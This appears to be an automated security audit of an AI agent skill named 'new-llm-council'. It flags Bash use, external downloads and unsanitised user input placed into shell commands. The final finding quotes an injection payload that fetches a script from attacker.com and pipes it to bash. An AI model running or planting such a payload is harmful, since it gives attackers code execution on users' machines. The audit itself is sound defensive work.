new-llm-council
Warn
Audited by Gen Agent Trust Hub on Jun 17, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONEXTERNAL_DOWNLOADSPROMPT_INJECTIONREMOTE_CODE_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: The skill uses the
Bashtool to automate project setup, executing commands likegit clone,rm -rf,git init,git add,git commit, andgh repo createto manage repository state and history. - [EXTERNAL_DOWNLOADS]: The skill downloads template source code from GitHub repositories associated with the author (
danielrosehill/LLM-Council-Template,danielrosehill/LLM-Council-Grounded, anddanielrosehill/LLM-Council-Decide). - [PROMPT_INJECTION]: The skill is vulnerable to indirect prompt injection (shell injection variant). It ingests untrusted user data for project metadata and uses it to construct shell commands.
- Ingestion points: Step 1 'Gather requirements' in
SKILL.mdcollects the 'Purpose' and 'Repo name' from the user. - Boundary markers: There are no delimiters or instructions to prevent the agent from executing shell metacharacters contained within the user-provided strings.
- Capability inventory: The skill uses
BashandWritetools, providing an execution path for injected commands. - Sanitization: No sanitization, escaping, or validation is performed on the user input before it is interpolated into shell strings.
- [REMOTE_CODE_EXECUTION]: The lack of input sanitization for variables used in shell commands (e.g.,
git commit -m "Initial scaffold: LLM Council for <purpose>") creates a surface for arbitrary command execution. If a user provides a purpose like"; curl http://attacker.com/script | bash; #", the shell may execute the malicious payload during the scaffolding process.
Audit Metadata